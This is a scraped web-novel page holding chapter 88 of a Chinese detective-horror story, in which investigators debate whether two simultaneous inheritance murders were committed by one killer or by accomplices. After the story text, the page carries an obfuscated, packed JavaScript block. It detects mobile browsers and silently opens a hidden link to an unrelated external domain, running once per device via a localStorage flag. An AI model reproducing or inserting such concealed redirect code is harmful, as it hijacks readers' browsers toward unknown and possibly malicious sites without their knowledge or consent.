第五文学网 > 恐怖小说 > 杀人遗嘱 > 第 88 章

    第八十八章:推理的怪圈(1715字)

    “之前,我和大光就讨论过这个问题,也怀疑过,凶手很可能是同一人。”杨毅又接话了,“但这点基本上可以否定了,因为时间上的不可能。两个死亡现场遗留下的,都是模糊的脚印,没有发现任何交通工具使用的痕迹,这就说明,凶手是徒步到达现场作案的。而我和大光也估算过,即便是最快的步行速度,从吴江被害地点到工地公寓,也要十五分钟。工地上,凶手在六点十五分左右袭击了小陈后,继而夺取饭盒,换上衣服,将有毒的饭菜送给沈亦枫母亲,这时至少要六点三十分左右,然后再迅速离开赶往吴江住处,守候敲门,如此算来,吴江的死亡时间要将近七点了。而苏越灵则很确定地说,第一次敲门声响起后,刚刚过了六点半。而公安局110指挥中心也明确记录,接到邻居报案的时间,是六点四十分,这就出现了时间上了矛盾。同样的道理,若是凶手在六点三十五分左右杀害吴江后,迅速再赶往工地,到达时间至少要在六点五十五左右,那时,小陈早已将无毒的饭菜送到了沈亦枫母亲那里,凶手早已错过下手的机会。”

    “没错,凶手不是同一个人。”许瑛附和道。

    “可两起案件存在很大的相似度,并且两名受害人也同是苏越青遗产的继承人,互不相干的凶手在同一时间犯案的可能性也不大吧?”陈可光也道出了内心的想法。

    “看来,就只剩一种可能性了,”许瑛很肯定地说,“一定是同伙作案!凶手虽有两个,但彼此是同伙关系!”

    “同伙作案?”细细琢磨了这几个字,杨毅嘴角忽然露出了一丝难解的笑,“瑛子,我问你几个问题。”

    “什么问题?”许瑛急忙问。

    “第一,在计划周密的前提下,实施一起犯罪,是一人把握大,还是两个人合作的把握大?第二,在什么情况下,同伙的犯罪分子会选择在同一时间异地作案?”杨毅很快摆出了这两个疑问。

    “这个不难回答!”看起来,杨毅的问题似乎没有难倒许瑛,“在计划周密的前提下,定然是两人合作实施犯罪的把握大,正所谓‘里应外合’,才容易事半功倍。还有,若是同伙犯罪分子会选择同一时间异地作案,定然是案件之间会相互牵连,若是一处首先犯案,会影响另一处的作案进度。比如说,在同一列火车的不同车厢实施抢劫,在同一幢建筑物内的不同区域实施盗窃等等,都需要把握同一时间,否则的话,事情就很容易搞砸。”

    “回答得倒是不错,”对于许瑛的答案,杨毅看似很满意,“可你想过没有,你的答案与刚发生的这两起案件,相符吗?”

    “答案与案件?这……什么意思啊?”这次,许瑛有些摸不着头绪了。

    “首先,这两起案件的实施,两个人同时犯罪明显要比一个人有优势。先说吴江的被害,完全可以其中一人现将其引到槐树下,随后另一个人实施犯罪。而沈亦枫母亲被害案就更明显了,可以其中一人负责投毒送饭,另一人负责引开公寓门卫的注意力。无论哪种做法,都会既省时又安全。当然,这只是我的假设。”很快,杨毅开始了他的推理,“如果说,这样的假设太主观化,那么,还有更为重要的一点,就是这两起案件并不像瑛子所说,是彼此相互牵连的案件。具体而言,即便吴江被害,我们绝不会立刻联想到沈亦枫的母亲会遭遇危险,反之亦然。也可以这么理解,对凶手而言,这两起杀人事件,根本就没有必要在同一时间策划施行,即便二者不在同一时刻发生,彼此也不会受到影响。可为什么,凶手还是让它们同时发生了呢?”

    “杨队,我怎么感觉,这里面似乎有个套呢?!”忽然间,陈可光产生了一股直觉。

    “有什么套?”杨毅不由问。

    “我也说不清,”陈可光开始描述这种直觉,“两起案件在同一时间发生,发生地的距离又非常近,且案件本身也存在很多相似点,初看上去,像一人所为;可经过时间排除后,又像是二人乃至多人所为,然而理性分析之后,这种可能性似乎也很小。所以我感觉,这里面有个怪圈,或者说,有个地方不太对劲,可就说不清是哪里不对劲。”

    “大光说得没错,我也有同感。”这时,许瑛接话了,“案子有些怪异,可推理起来却是无懈可击,如何也找不到突破口。另外,还有吴江被害的一些细节,也很是诡异。到现在我也想不明白,凶手为什么会在杀死他之后还要将他的尸体吊起来呢?”

    “案子头绪太多了,还是要慢慢梳理,不过我还是坚持一点,有些东西之所以看起来怪异,并不是它真的怪异,而是其中还隐藏着某些我们尚未知晓的秘密。而这些秘密,或许正是破解案件的关键所在!”杨毅很是自信地说。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))